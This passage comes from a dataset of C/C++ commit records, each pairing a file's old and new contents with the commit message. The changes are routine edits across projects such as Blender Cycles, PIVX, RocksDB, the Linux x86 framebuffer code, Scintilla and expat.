!E || interactive_mode ? \"warning\" : \"error\", ##__VA_ARGS__); \\\n\telse                                                                          \\\n\t\tfprintf(stderr, \"%s: \" M \"\\n\", argv0, ##__VA_ARGS__);                 \\\n} while(0)\n\n#define reporterr(M, ...) do {            \\\n\treportprint(1, M, ##__VA_ARGS__); \\\n\texit(1);                          \\\n} while(0)\n#define _reporterr(M, ...) do {           \\\n\treportprint(1, M, ##__VA_ARGS__); \\\n\t_exit(1);                         \\\n} while(0)\n#define report(M, ...) do {               \\\n\treportprint(0, M, ##__VA_ARGS__); \\\n\tif (!interactive_mode)            \\\n\t\texit(1);                  \\\n} while(0)\n#define reportret(R, M, ...) do {         \\\n\treportprint(0, M, ##__VA_ARGS__); \\\n\tif (!interactive_mode)            \\\n\t\texit(1);                  \\\n\telse                              \\\n\t\treturn R;                 \\\n} while(0)\n#define reportvar(V, M) do { \\\n\tV = M;               \\\n\treturn NULL;         \\\n} while(0)\n","subject":"Fix report macros in if else statements","message":"Fix report macros in if else statements\n","lang":"C","license":"bsd-3-clause","repos":"rain-1\/s,rain-1\/s,rain-1\/s"}
{"commit":"fd767a1b53b8f2ef3ca484c8bbbcb29ffcc8c3b9","old_file":"src\/util\/util_version.h","new_file":"src\/util\/util_version.h","old_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 11\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","new_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 12\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","subject":"Bump version to 1.12, matching blender 2.83 release cycle","message":"Bump version to 1.12, matching blender 2.83 release cycle\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird"}
{"commit":"e0d52710bfa776312443efe3a70e7e0544bb207f","old_file":"src\/fs.h","new_file":"src\/fs.h","old_contents":"\/\/ Copyright (c) 2017-2020 The Bitcoin Core developers\n\/\/ Copyright (c) 2020 The PIVX developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_FS_H\n#define BITCOIN_FS_H\n\n#include <stdio.h>\n#include <string>\n\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n#include <boost\/filesystem\/detail\/utf8_codecvt_facet.hpp>\n\n\/** Filesystem operations and types *\/\nnamespace fs = boost::filesystem;\n\n\/** Bridge operations to C stdio *\/\nnamespace fsbridge {\n    FILE *fopen(const fs::path& p, const char *mode);\n    FILE *freopen(const fs::path& p, const char *mode, FILE *stream);\n};\n\n#endif\n","new_contents":"\/\/ Copyright (c) 2017-2020 The Bitcoin Core developers\n\/\/ Copyright (c) 2020 The PIVX developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_FS_H\n#define BITCOIN_FS_H\n\n#include <stdio.h>\n#include <string>\n\n#define BOOST_FILESYSTEM_NO_DEPRECATED\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/fstream.hpp>\n#include <boost\/filesystem\/detail\/utf8_codecvt_facet.hpp>\n\n\/** Filesystem operations and types *\/\nnamespace fs = boost::filesystem;\n\n\/** Bridge operations to C stdio *\/\nnamespace fsbridge {\n    FILE *fopen(const fs::path& p, const char *mode);\n    FILE *freopen(const fs::path& p, const char *mode, FILE *stream);\n};\n\n#endif\n","subject":"Enforce that no deprecated boost filesystem methods can be re-introduced","message":"Enforce that no deprecated boost filesystem methods can be re-introduced\n\nThis macro define will cause compilation errors in the event that any\ndeprecated are re-introduced to the codebase.\n","lang":"C","license":"mit","repos":"PIVX-Project\/PIVX,PIVX-Project\/PIVX,Darknet-Crypto\/Darknet,PIVX-Project\/PIVX,PIVX-Project\/PIVX,PIVX-Project\/PIVX,Darknet-Crypto\/Darknet,PIVX-Project\/PIVX,Darknet-Crypto\/Darknet,Darknet-Crypto\/Darknet,PIVX-Project\/PIVX,PIVX-Project\/PIVX,Darknet-Crypto\/Darknet,PIVX-Project\/PIVX,Darknet-Crypto\/Darknet"}
{"commit":"77f2d3fd9da54cb0398fda96cb795b320145ea37","old_file":"src\/array.h","new_file":"src\/array.h","old_contents":"#ifndef ARRAY_H\n#define ARRAY_H\n\n#include <stdlib.h>\n\n#define ARRAY_DECLARE(TYPE) \\\n    typedef struct { \\\n        TYPE *elems; \\\n        size_t allocated, \\\n               nextfree; \\\n    } Array##TYPE\n\n#define ARRAY_INIT(A, TYPE, SIZE) \\\n    (A)->elems = (TYPE*)malloc(SIZE * sizeof(TYPE)); \\\n    (A)->allocated = SIZE; \\\n    (A)->nextfree = 0\n\n#define ARRAY_PUSH(A, TYPE, VALUE) \\\n    if ((A)->allocated == (A)->nextfree) { \\\n        (A)->allocated *= 2; \\\n        (A)->elems = (TYPE*)realloc((A)->elems, (A)->allocated * sizeof(TYPE)); \\\n    } \\\n    (A)->elems[(A)->nextfree] = VALUE; \\\n    (A)->nextfree += 1\n\n#define ARRAY_FREE(A) \\\n    if ((A)->elems != NULL) { \\\n        free((A)->elems); \\\n    }\n\n#endif\n\n","new_contents":"#ifndef ARRAY_H\n#define ARRAY_H\n\n#include <stdlib.h>\n\n#define ARRAY_DECLARE(TYPE) \\\n    typedef struct { \\\n        TYPE *elems; \\\n        size_t allocated, \\\n               nextfree; \\\n    } Array##TYPE\n\n#define ARRAY_INIT(A, TYPE, SIZE) \\\n    (A)->elems = (TYPE*)malloc(SIZE * sizeof(TYPE)); \\\n    (A)->allocated = SIZE; \\\n    (A)->nextfree = 0\n\n#define ARRAY_REALLOC_CHECK(A, TYPE) \\\n    if ((A)->allocated == (A)->nextfree) { \\\n        (A)->allocated *= 2; \\\n        (A)->elems = (TYPE*)realloc((A)->elems, (A)->allocated * sizeof(TYPE)); \\\n    } \\\n\n#define ARRAY_PUSH(A, TYPE, VALUE) \\\n    ARRAY_REALLOC_CHECK(A, TYPE); \\\n    (A)->elems[(A)->nextfree] = VALUE; \\\n    (A)->nextfree += 1\n\n#define ARRAY_FREE(A) \\\n    if ((A)->elems != NULL) { \\\n        free((A)->elems); \\\n    }\n\n#endif\n\n","subject":"Create dedicated realloc check macro","message":"Create dedicated realloc check macro\n","lang":"C","license":"mit","repos":"mhyfritz\/goontools,mhyfritz\/goontools,mhyfritz\/goontools"}
{"commit":"def6ae3782834ccbd07047ca10d7f6bf7ebde449","old_file":"src\/yarrar\/Util.h","new_file":"src\/yarrar\/Util.h","old_contents":"#pragma once\n\n#include \"Types.h\"\n\n#include <opencv2\/core\/types.hpp>\n#include <json11.hpp>\n#include <algorithm>\n#include <iterator>\n#include <cstdio>\n\nnamespace yarrar {\n\ntemplate<typename Container, typename Value>\nbool contains(const Container& c, const Value& v) \n{\n    return std::find(std::begin(c), std::end(c), v) != std::end(c);\n}\n\ntemplate<typename... Args>\nstd::string format(const std::string& format, Args... args)\n{\n    int neededSize = snprintf(nullptr, 0, format.c_str(), args...);\n\n    \/\/ If there was an error return the original string.\n    if(neededSize <= 0)\n        return format;\n\n    neededSize += 1;\n    std::vector<char> buf(static_cast<size_t> (neededSize));\n    snprintf(&buf.front(), static_cast<size_t> (neededSize), format.c_str(), args...);\n    return std::string(&buf.front());\n}\n\ncv::Size getScaledDownResolution(const int width,\n                                 const int height,\n                                 const int preferredWidth);\n\nvoid rotate(const cv::Mat& src, cv::Mat& dst, const yarrar::Rotation90& rotation);\n\njson11::Json loadJson(const std::string& filePath);\n\n}\n","new_contents":"#pragma once\n\n#include \"Types.h\"\n\n#include <opencv2\/core\/types.hpp>\n#include <json11.hpp>\n#include <algorithm>\n#include <iterator>\n#include <cstdio>\n\nnamespace yarrar {\n\ntemplate<typename Container, typename Value>\nbool contains(const Container& c, const Value& v) \n{\n    return std::find(std::begin(c), std::end(c), v) != std::end(c);\n}\n\ntemplate<typename... Args>\nstd::string format(const std::string& format, Args... args)\n{\n    int neededSize = snprintf(nullptr, 0, format.c_str(), args...);\n\n    \/\/ If there was an error return the original string.\n    if(neededSize <= 0)\n        return format;\n\n    \/\/ Accommodate \\0\n    neededSize += 1;\n\n    std::string buf;\n    buf.resize(static_cast<size_t> (neededSize));\n    snprintf(&buf.front(), static_cast<size_t> (neededSize), format.c_str(), args...);\n    return buf;\n}\n\ncv::Size getScaledDownResolution(const int width,\n                                 const int height,\n                                 const int preferredWidth);\n\nvoid rotate(const cv::Mat& src, cv::Mat& dst, const yarrar::Rotation90& rotation);\n\njson11::Json loadJson(const std::string& filePath);\n\n}\n","subject":"Use std::string straight instead of vector<char> in format().","message":"Use std::string straight instead of vector<char> in format().\n","lang":"C","license":"mit","repos":"ndob\/yarrar,ndob\/yarrar,ndob\/yarrar,ndob\/yarrar"}
{"commit":"8f2598ac9d730bf0a7c08b9cdb6071fd7b73ba3b","old_file":"utilities\/cassandra\/merge_operator.h","new_file":"utilities\/cassandra\/merge_operator.h","old_contents":"\/\/  Copyright (c) 2017-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under both the GPLv2 (found in the\n\/\/  COPYING file in the root directory) and Apache 2.0 License\n\/\/  (found in the LICENSE.Apache file in the root directory).\n\n#pragma once\n#include \"rocksdb\/merge_operator.h\"\n#include \"rocksdb\/slice.h\"\n\nnamespace rocksdb {\nnamespace cassandra {\n\n\/**\n * A MergeOperator for rocksdb that implements Cassandra row value merge.\n *\/\nclass CassandraValueMergeOperator : public MergeOperator {\npublic:\n  static std::shared_ptr<MergeOperator> CreateSharedInstance();\n\n  virtual bool FullMergeV2(const MergeOperationInput& merge_in,\n                           MergeOperationOutput* merge_out) const override;\n\n  virtual bool PartialMergeMulti(const Slice& key,\n                                 const std::deque<Slice>& operand_list,\n                                 std::string* new_value,\n                                 Logger* logger) const override;\n\n  virtual const char* Name() const override;\n};\n} \/\/ namespace cassandra\n} \/\/ namespace rocksdb\n","new_contents":"\/\/  Copyright (c) 2017-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under both the GPLv2 (found in the\n\/\/  COPYING file in the root directory) and Apache 2.0 License\n\/\/  (found in the LICENSE.Apache file in the root directory).\n\n#pragma once\n#include \"rocksdb\/merge_operator.h\"\n#include \"rocksdb\/slice.h\"\n\nnamespace rocksdb {\nnamespace cassandra {\n\n\/**\n * A MergeOperator for rocksdb that implements Cassandra row value merge.\n *\/\nclass CassandraValueMergeOperator : public MergeOperator {\npublic:\n  static std::shared_ptr<MergeOperator> CreateSharedInstance();\n\n  virtual bool FullMergeV2(const MergeOperationInput& merge_in,\n                           MergeOperationOutput* merge_out) const override;\n\n  virtual bool PartialMergeMulti(const Slice& key,\n                                 const std::deque<Slice>& operand_list,\n                                 std::string* new_value,\n                                 Logger* logger) const override;\n\n  virtual const char* Name() const override;\n\n  virtual bool AllowSingleOperand() const override { return true; }\n};\n} \/\/ namespace cassandra\n} \/\/ namespace rocksdb\n","subject":"Enable Cassandra merge operator to be called with a single merge operand","message":"Enable Cassandra merge operator to be called with a single merge operand\n\nSummary:\nUpdating Cassandra merge operator to make use of a single merge operand when needed. Single merge operand support has been introduced in #2721.\nCloses https:\/\/github.com\/facebook\/rocksdb\/pull\/2753\n\nDifferential Revision: D5652867\n\nPulled By: sagar0\n\nfbshipit-source-id: b9fbd3196d3ebd0b752626dbf9bec9aa53e3e26a\n","lang":"C","license":"bsd-3-clause","repos":"bbiao\/rocksdb,bbiao\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,SunguckLee\/RocksDB,Andymic\/rocksdb,Andymic\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,SunguckLee\/RocksDB,SunguckLee\/RocksDB,Andymic\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,Andymic\/rocksdb,bbiao\/rocksdb,bbiao\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,bbiao\/rocksdb,SunguckLee\/RocksDB,SunguckLee\/RocksDB,SunguckLee\/RocksDB,bbiao\/rocksdb"}
{"commit":"88674088d10ca2538b2efd2559f6620ade8ec373","old_file":"arch\/x86\/video\/fbdev.c","new_file":"arch\/x86\/video\/fbdev.c","old_contents":"\/*\n * Copyright (C) 2007 Antonino Daplas <adaplas@gmail.com>\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file COPYING in the main directory of this archive\n * for more details.\n *\n *\/\n#include <linux\/fb.h>\n#include <linux\/pci.h>\n#include <linux\/module.h>\n\nint fb_is_primary_device(struct fb_info *info)\n{\n\tstruct device *device = info->device;\n\tstruct pci_dev *pci_dev = NULL;\n\tstruct resource *res = NULL;\n\tint retval = 0;\n\n\tif (device)\n\t\tpci_dev = to_pci_dev(device);\n\n\tif (pci_dev)\n\t\tres = &pci_dev->resource[PCI_ROM_RESOURCE];\n\n\tif (res && res->flags & IORESOURCE_ROM_SHADOW)\n\t\tretval = 1;\n\n\treturn retval;\n}\nEXPORT_SYMBOL(fb_is_primary_device);\nMODULE_LICENSE(\"GPL\");\n","new_contents":"\/*\n * Copyright (C) 2007 Antonino Daplas <adaplas@gmail.com>\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file COPYING in the main directory of this archive\n * for more details.\n *\n *\/\n#include <linux\/fb.h>\n#include <linux\/pci.h>\n#include <linux\/module.h>\n#include <linux\/vgaarb.h>\n\nint fb_is_primary_device(struct fb_info *info)\n{\n\tstruct device *device = info->device;\n\tstruct pci_dev *pci_dev = NULL;\n\tstruct pci_dev *default_device = vga_default_device();\n\tstruct resource *res = NULL;\n\n\tif (device)\n\t\tpci_dev = to_pci_dev(device);\n\n\tif (!pci_dev)\n\t\treturn 0;\n\n\tif (default_device) {\n\t\tif (pci_dev == default_device)\n\t\t\treturn 1;\n\t\telse\n\t\t\treturn 0;\n\t}\n\n\tres = &pci_dev->resource[PCI_ROM_RESOURCE];\n\n\tif (res && res->flags & IORESOURCE_ROM_SHADOW)\n\t\treturn 1;\n\n\treturn 0;\n}\nEXPORT_SYMBOL(fb_is_primary_device);\nMODULE_LICENSE(\"GPL\");\n","subject":"Use vga_default_device() when determining whether an fb is primary","message":"x86: Use vga_default_device() when determining whether an fb is primary\n\nIORESOURCE_ROM_SHADOW is not necessarily an indication that the hardware\nis the primary device. Add support for using the vgaarb functions and\nfall back if nothing's set them.\n\nSigned-off-by: Matthew Garrett <4cf8d479716eba9bc68e0146d95320fcb138b96b@redhat.com>\nCc: 9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@redhat.com\nAcked-by: 8a453bad9912ffe59bc0f0b8abe03df9be19379e@zytor.com\nSigned-off-by: Dave Airlie <f2295d84e358395675bc8031be58672073ae065e@redhat.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"fdb4244b9caf7c1d3b06912796e4a87f583ed1fa","old_file":"asylo\/platform\/posix\/include\/byteswap.h","new_file":"asylo\/platform\/posix\/include\/byteswap.h","old_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ninline uint16_t bswap_16(const uint16_t &n) { return __builtin_bswap16(n); }\n\ninline uint32_t bswap_32(const uint32_t &n) { return __builtin_bswap32(n); }\n\ninline uint64_t bswap_64(const uint64_t &n) { return __builtin_bswap64(n); }\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n","new_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ninline uint16_t bswap_16(uint16_t n) { return __builtin_bswap16(n); }\n\ninline uint32_t bswap_32(uint32_t n) { return __builtin_bswap32(n); }\n\ninline uint64_t bswap_64(uint64_t n) { return __builtin_bswap64(n); }\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n","subject":"Remove pass by reference in bswap functions","message":"Remove pass by reference in bswap functions\n\nThis is a simple bug fix to make these functions compatible with C\ninstead of only with C++.\n\nPiperOrigin-RevId: 205919772\n","lang":"C","license":"apache-2.0","repos":"google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo"}
{"commit":"f381f9302f7b97246101165938b101c3d7050e56","old_file":"qcdevice.h","new_file":"qcdevice.h","old_contents":"#ifndef QCDEVICE_H\n#define QCDEVICE_H\n\n\/* QuickCross Project\n * License: APACHE-2.0\n * Author: Ben Lau\n * Project Site: https:\/\/github.com\/benlau\/quickcross\n *\n *\/\n\n#include <QObject>\n\nclass QCDevice : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString os READ os)\n    Q_PROPERTY(bool isAndroid READ isAndroid)\n    Q_PROPERTY(bool isLinux READ isLinux)\n    Q_PROPERTY(bool isMac READ isMac)\n    Q_PROPERTY(bool isIOS READ isIOS)\n    Q_PROPERTY(bool isWindows READ isWindows)\n    Q_PROPERTY(qreal dp READ dp)\n        \npublic:\n    explicit QCDevice(QObject *parent = 0);\n\n    QString os() const;\n\n    bool isAndroid() const;\n\n    bool isLinux() const;\n\n    bool isIOS() const;\n\n    bool isMac() const;\n\n    bool isWindows() const;\n\n    qreal dp() const;\n\nsignals:\n\npublic slots:\n};\n\n#endif \/\/ QCDEVICE_H\n","new_contents":"#ifndef QCDEVICE_H\n#define QCDEVICE_H\n\n\/* QuickCross Project\n * License: APACHE-2.0\n * Author: Ben Lau\n * Project Site: https:\/\/github.com\/benlau\/quickcross\n *\n *\/\n\n#include <QObject>\n\nclass QCDevice : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString os READ os)\n    Q_PROPERTY(bool isAndroid READ isAndroid NOTIFY neverEmitChanged)\n    Q_PROPERTY(bool isLinux READ isLinux NOTIFY neverEmitChanged)\n    Q_PROPERTY(bool isMac READ isMac NOTIFY neverEmitChanged)\n    Q_PROPERTY(bool isIOS READ isIOS NOTIFY neverEmitChanged)\n    Q_PROPERTY(bool isWindows READ isWindows NOTIFY neverEmitChanged)\n    Q_PROPERTY(qreal dp READ dp NOTIFY neverEmitChanged)\n        \npublic:\n    explicit QCDevice(QObject *parent = 0);\n\n    QString os() const;\n\n    bool isAndroid() const;\n\n    bool isLinux() const;\n\n    bool isIOS() const;\n\n    bool isMac() const;\n\n    bool isWindows() const;\n\n    qreal dp() const;\n\nsignals:\n    void neverEmitChanged();\n\npublic slots:\n};\n\n#endif \/\/ QCDEVICE_H\n","subject":"Add a never emit signal on properties.","message":"QCDevice: Add a never emit signal on properties.\n","lang":"C","license":"apache-2.0","repos":"benlau\/quickcross,benlau\/quickcross,benlau\/quickcross"}
{"commit":"1237be33a5d1f857ddd488ec1ea7137d00152100","old_file":"win32\/PlatWin.h","new_file":"win32\/PlatWin.h","old_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(_MSC_VER)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","new_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(USE_D2D)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","subject":"Allow choice of D2D on compiler command line.","message":"Allow choice of D2D on compiler command line.\n","lang":"C","license":"isc","repos":"rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror,rhaberkorn\/scintilla-mirror"}
{"commit":"7918fd9c8d9d84cc26e22db2a07fc19f725aadd2","old_file":"gnu\/lib\/libdialog\/notify.c","new_file":"gnu\/lib\/libdialog\/notify.c","old_contents":"\/*\n * File: \tnotify.c\n * Author: \tMarc van Kempen\n * Desc:\tdisplay a notify box with a message\n *\n * Copyright (c) 1995, Marc van Kempen\n *\n * All rights reserved.\n *\n * This software may be used, modified, copied, distributed, and\n * sold, in both source and binary form provided that the above\n * copyright and these terms are retained, verbatim, as the first\n * lines of this file.  Under no circumstances is the author\n * responsible for the proper functioning of this software, nor does\n * the author assume any responsibility for damages incurred with\n * its use.\n * \n *\/\n\n\n#include <dialog.h>\n#include <stdio.h>\n\nvoid\ndialog_notify(char *msg)\n\/* \n * Desc: display an error message\n *\/\n{\n    char *tmphlp;\n    WINDOW *w;\n\n    w = dupwin(newscr);\n    if (w == NULL) {\n\tendwin();\n\tfprintf(stderr, \"\\ndupwin(newscr) failed, malloc memory corrupted\\n\");\n\texit(1);\n    }\n    tmphlp = get_helpline();\n    use_helpline(\"Press enter to continue\");\n    dialog_msgbox(\"Message\", msg, -1, -1, TRUE);\n    restore_helpline(tmphlp);\n    touchwin(w);\n    wrefresh(w);\n    delwin(w);\n\n    return;\n\n} \/* dialog_notify() *\/\n\n","new_contents":"\/*\n * File: \tnotify.c\n * Author: \tMarc van Kempen\n * Desc:\tdisplay a notify box with a message\n *\n * Copyright (c) 1995, Marc van Kempen\n *\n * All rights reserved.\n *\n * This software may be used, modified, copied, distributed, and\n * sold, in both source and binary form provided that the above\n * copyright and these terms are retained, verbatim, as the first\n * lines of this file.  Under no circumstances is the author\n * responsible for the proper functioning of this software, nor does\n * the author assume any responsibility for damages incurred with\n * its use.\n * \n *\/\n\n\n#include <dialog.h>\n#include <stdio.h>\n\nvoid\ndialog_notify(char *msg)\n\/* \n * Desc: display an error message\n *\/\n{\n    char *tmphlp;\n    WINDOW *w;\n\n    w = dupwin(newscr);\n    if (w == NULL) {\n\tendwin();\n\tfprintf(stderr, \"\\ndupwin(newscr) failed, malloc memory corrupted\\n\");\n\texit(1);\n    }\n    tmphlp = get_helpline();\n    use_helpline(\"Press enter to continue\");\n    dialog_mesgbox(\"Message\", msg, -1, -1, TRUE);\n    restore_helpline(tmphlp);\n    touchwin(w);\n    wrefresh(w);\n    delwin(w);\n\n    return;\n\n} \/* dialog_notify() *\/\n\n","subject":"Call mesgbox instead of msgbox for long descriptions","message":"Call mesgbox instead of msgbox for long descriptions\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"219908bec636b75ca0c002af697d801ecbcee418","old_file":"expat\/tests\/chardata.h","new_file":"expat\/tests\/chardata.h","old_contents":"\/*  chardata.h\n *\n *\n *\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","new_contents":"\/* chardata.h\n\n   Interface to some helper routines used to accumulate and check text\n   and attribute content.\n*\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","subject":"Add a small comment to tell what this is.","message":"Add a small comment to tell what this is.\n","lang":"C","license":"mit","repos":"tiran\/expat,libexpat\/libexpat,libexpat\/libexpat,libexpat\/libexpat,tiran\/expat,libexpat\/libexpat,libexpat\/libexpat,libexpat\/libexpat,tiran\/expat,tiran\/expat"}
